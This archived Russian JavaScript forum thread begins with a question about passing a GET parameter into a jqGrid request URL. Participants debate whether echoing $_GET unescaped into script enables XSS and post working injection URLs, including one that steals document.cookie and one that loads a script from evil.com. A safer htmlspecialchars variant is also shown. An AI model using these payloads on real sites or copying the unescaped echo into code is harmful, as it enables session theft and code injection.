Javascript-форум (https://javascript.ru/forum/)
-   Общие вопросы Javascript (https://javascript.ru/forum/misc/)
-   -   Получить get переменную и добавить её в другой ссылке (https://javascript.ru/forum/misc/39969-poluchit-get-peremennuyu-i-dobavit-ejo-v-drugojj-ssylke.html)

greencard 19.07.2013 12:20

Получить get переменную и добавить её в другой ссылке
 
Здравствуйте.
Вопрос возможно из простых, но я новичок в js, так что не судите строго.

есть код динамической таблицы на JQUERY
jQuery(document).ready(function(){
        var lastSel;
        jQuery("#list").jqGrid({
            url:'getdata.php,
            datatype: 'json',
            mtype: 'POST',


подскажите, как мне взять GET переменную которая передается на эту страницу при переходе и добавить её в поле url тоже как get?

P.s. или передать туда POST.

animhotep 19.07.2013 12:34

а через похапе не пробовали?
jQuery(document).ready(function(){
        var lastSel;
        jQuery("#list").jqGrid({
            url:'getdata.php?<?php echo $_GET["var"]; ?>',
            datatype: 'json',
            mtype: 'POST',

greencard 19.07.2013 12:55

я пробоавал так

url:'getdata.php?var=<?php echo $_GET["var"]; ?>',


но не помогло

animhotep 19.07.2013 13:32

всмысле, <?php echo $_GET["var"]; ?> не вывело того что нужно?

devote 19.07.2013 13:40

Цитата:

Сообщение от animhotep
всмысле, <?php echo $_GET["var"]; ?> не вывело того что нужно?

дык у него файл то наверное с расширением .js а в нем PHP не высматривает свой код.

mta88 19.07.2013 13:49

Цитата:

Сообщение от greencard (Сообщение 263087)
url: 'getdata.php?var=<?php echo $_GET["var"]; ?>'

вам что, xss-инъекции не страшны чтоли?

в любом случае, все параметры находятся в "window.location.search", но стандартного api для его парсинга нет, придется использовать библиотеку
http://medialize.github.io/URI.js/ -- вроде мощная и универсальная, но тяжелая

быстрый способ -- использовать регулярный выражения
function getParameterByName(name) {
  var regex = new RegExp("[\\?&]" + name + "=([^&#]*)"),
      results = regex.exec(location.search);
  return results == null ? "" : decodeURIComponent(results[1].replace(/\+/g, " "));
}

должна сойти если нет необычных знаков в строке поиска

animhotep 19.07.2013 14:21

Цитата:

Сообщение от mta88
вам что, xss-инъекции не страшны чтоли?

интересно увидеть пример урла который в данном случае выполнит произвольный js

mta88 19.07.2013 14:25

Цитата:

Сообщение от animhotep (Сообщение 263109)
интересно увидеть пример урла который в данном случае выполнит произвольный js

щас соображу что-нибудь

ruslan_mart 19.07.2013 14:31

Цитата:

Сообщение от animhotep
интересно увидеть пример урла который в данном случае выполнит произвольный js

//http://site.com/?var=1;alert(123);alert(456)

var myVar = <?=$_GET['var']?>


greencard, записывайте на самой странице Вашу GET переменную и потом подставляйте её внутри файла js.

home.php:
<script type="text/javascript">
var getVar = '<?=htmlspecialchars($_GET['var'])?>';
</script>


А в сам файл js:
$(function(){
        var lastSel;
        jQuery("#list").jqGrid({
            url: 'getdata.php?var='+getVar,
            datatype: 'json',
            mtype: 'POST',
            ...

animhotep 19.07.2013 14:54

Цитата:

Сообщение от Ruslan_xDD
//http://site.com/?var=1;alert(123);alert(456)

ичё?

url:'getdata.php?var=1;alert(123);alert(456)';

mta88 19.07.2013 15:07

//http://site.com/?var=1;alert(123);alert(456)
var myVar = <?=$_GET['var']?>

да, да, я что-то такое хотел, но настоящее, чтобы не разрушить зараженный объект и выполнить дополнительный код

получилось вот так
// xss.php
<!doctype html>
<html>
<head>
  <script>
    window.onload = function() {
      var obj = {
        url: 'getdata.php?var=<?php echo $_GET["var"]; ?>'
      }
    }
  </script>
</head>

<body></body>
</html>

а вот вредный url:
xss.php?var=12%27,%20t1:%20%28function%28%29{var%20s=document.createElement%28%27script%27%29;s.type=%22text/javascript%22;s.src=%22http://evil.com/script.js%22;document.body.appendChild%28s%29}%29%28%29,%20t2:%27

или так
xss.php?var=12', t1: (function(){var s=document.createElement('script');s.type="text/javascript";s.src="http://evil.com/script.js";document.body.appendChild(s)})(), t2:'

хотя это уже оффтоп конечно

ruslan_mart 19.07.2013 15:27

animhotep, и то.

//http://site.com/?var=1';alert(document.cookie);'

url: 'getdata.php?var=<?=$_GET['var']?>';

animhotep 19.07.2013 16:23

Цитата:

Сообщение от Ruslan_xDD
и то.

url:'getdata.php?var=1';alert(document.cookie);'


mta88, спасибо, понял. это работает

greencard 29.07.2013 12:37

К сожалению методы не работают.

P.s. Данный скрипт находится в html файле, а не в js


Нашел решение, изменил html на php Всем спасибо.


Часовой пояс GMT +3, время: 16:15.